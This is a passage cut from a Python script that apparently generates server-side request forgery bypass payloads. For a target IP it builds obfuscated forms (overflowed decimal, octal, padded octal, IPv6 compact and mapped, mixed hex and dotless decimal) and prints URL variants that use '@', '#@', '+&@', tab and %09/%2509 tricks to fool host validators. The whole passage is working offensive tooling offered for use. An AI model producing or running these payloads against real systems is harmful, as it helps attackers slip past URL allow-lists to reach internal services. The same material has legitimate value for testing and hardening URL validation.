print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP3,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP3,':',PORT,'/',file=f,sep='') print('http://',IP3,':',PORT,':80','/',file=f,sep='') print('http://',IP3,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP3,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP3,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 4 - Dotted decimal with overflow(256) print(bluecolor,"Dotted decimal with overflow(256) IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP4 = DEC_OVERFLOW_SINGLE(ipFrag3) + "." + DEC_OVERFLOW_SINGLE(ipFrag2) + "." + DEC_OVERFLOW_SINGLE(ipFrag1) + "." + DEC_OVERFLOW_SINGLE(ipFrag0) print('http://',IP4,':',PORT,'/',sep='') print('http://',IP4,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP4,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',sep='') print('http://',IP4,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP4,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP4,':',PORT,'/',sep='') print('http://',IP4,':',PORT,':80','/',sep='') print('http://',IP4,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP4,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP4,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP4,':',PORT,'/',file=f,sep='') print('http://',IP4,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP4,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',IP4,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP4,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP4,':',PORT,'/',file=f,sep='') print('http://',IP4,':',PORT,':80','/',file=f,sep='') print('http://',IP4,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP4,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP4,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 5 - Dotted octal print(bluecolor,"Dotted octal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP5 = OCT_SINGLE(ipFrag3) + "." + OCT_SINGLE(ipFrag2) + "." + OCT_SINGLE(ipFrag1) + "." + OCT_SINGLE(ipFrag0) print('http://',IP5,':',PORT,'/',sep='') print('http://',IP5,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP5,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',sep='') print('http://',IP5,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP5,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP5,':',PORT,'/',sep='') print('http://',IP5,':',PORT,':80','/',sep='') print('http://',IP5,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP5,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP5,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP5,':',PORT,'/',file=f,sep='') print('http://',IP5,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP5,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',IP5,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP5,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP5,':',PORT,'/',file=f,sep='') print('http://',IP5,':',PORT,':80','/',file=f,sep='') print('http://',IP5,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP5,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP5,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 6 - Dotted octal with padding print(bluecolor,"Dotted octal with padding IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP6 = '0' + OCT_SINGLE(ipFrag3) + "." + '00' + OCT_SINGLE(ipFrag2) + "." + '000' + OCT_SINGLE(ipFrag1) + "." + '0000' + OCT_SINGLE(ipFrag0) print('http://',IP6,':',PORT,'/',sep='') print('http://',IP6,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP6,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',sep='') print('http://',IP6,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP6,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP6,':',PORT,'/',sep='') print('http://',IP6,':',PORT,':80','/',sep='') print('http://',IP6,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP6,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP6,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP6,':',PORT,'/',file=f,sep='') print('http://',IP6,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP6,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',IP6,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP6,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP6,':',PORT,'/',file=f,sep='') print('http://',IP6,':',PORT,':80','/',file=f,sep='') print('http://',IP6,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP6,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP6,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 7 - IPv6 compact version print(bluecolor,"IPv6 compact version IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP7 = '[::' + ipFrag3 + "." + ipFrag2 + "." + ipFrag1 + "." + ipFrag0 + ']' print('http://',IP7,':',PORT,'/',sep='') print('http://',IP7,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP7,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',sep='') print('http://',IP7,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP7,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP7,':',PORT,'/',sep='') print('http://',IP7,':',PORT,':80','/',sep='') print('http://',IP7,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP7,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP7,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP7,':',PORT,'/',file=f,sep='') print('http://',IP7,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP7,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',IP7,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP7,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP7,':',PORT,'/',file=f,sep='') print('http://',IP7,':',PORT,':80','/',file=f,sep='') print('http://',IP7,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP7,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP7,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 8 - IPv6 mapped version print(bluecolor,"IPv6 mapped version IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP8 = '[::ffff:' + ipFrag3 + "." + ipFrag2 + "." + ipFrag1 + "." + ipFrag0 + ']' print('http://',IP8,':',PORT,'/',sep='') print('http://',IP8,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP8,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP8,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP8,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP8,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP8,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP8,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP8,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP8,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP8,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP8,':',PORT,'/',sep='') print('http://',IP8,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP8,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP8,':',PORT,'/',sep='') print('http://',IP8,':',PORT,':80','/',sep='') print('http://',IP8,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP8,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP8,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP8,':',PORT,'/',file=f,sep='') print('http://',IP8,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP8,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP8,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP8,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP8,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP8,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP8,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP8,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP8,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP8,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP8,':',PORT,'/',file=f,sep='') print('http://',IP8,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP8,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP8,':',PORT,'/',file=f,sep='') print('http://',IP8,':',PORT,':80','/',file=f,sep='') print('http://',IP8,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP8,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP8,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 9 - Dotted hexadecimal + Dotted octal + Dotless decimal print(bluecolor,"Dotted hexadecimal + Dotted octal + Dotless decimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP9 = HEX_SINGLE(ipFrag3,"yes") + "." + OCT_SINGLE(ipFrag2) + "." + str(DECIMAL_SINGLE(ipFrag1,1) + DECIMAL_SINGLE(ipFrag0,0)) print('http://',IP9,':',PORT,'/',sep='') print('http://',IP9,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP9,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP9,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP9,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP9,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP9,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP9,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP9,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP9,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP9,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP9,':',PORT,'/',sep='') print('http://',IP9,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP9,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP9,':',PORT,'/',sep='') print('http://',IP9,':',PORT,':80','/',sep='') print('http://',IP9,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP9,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP9,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP9,':',PORT,'/',file=f,sep='') print('http://',IP9,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP9,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP9,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP9,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP9,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP9,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP9,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP9,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP9,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP9,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP9,':',PORT,'/',file=f,sep='') print('http://',IP9,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP9,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP9,':',PORT,'/',file=f,sep='') print('http://',IP9,':',PORT,':80','/',file=f,sep='') print('http://',IP9,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP9,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP9,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 10 - Dotted hexadecimal + Dotless decimal print(bluecolor,"Dotted hexadecimal + Dotless decimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP10 = HEX_SINGLE(ipFrag3,"yes") + "." + str(DECIMAL_SINGLE(ipFrag2,2) + DECIMAL_SINGLE(ipFrag1,1) + DECIMAL_SINGLE(ipFrag0,0)) print('http://',IP10,':',PORT,'/',sep='') print('http://',IP10,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP10,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP10,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP10,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP10,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP10,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP10,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP10,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP10,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP10,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP10,':',PORT,'/',sep='') print('http://',IP10,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP10,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP10,':',PORT,'/',sep='') print('http://',IP10,':',PORT,':80','/',sep='') print('http://',IP10,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP10,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') 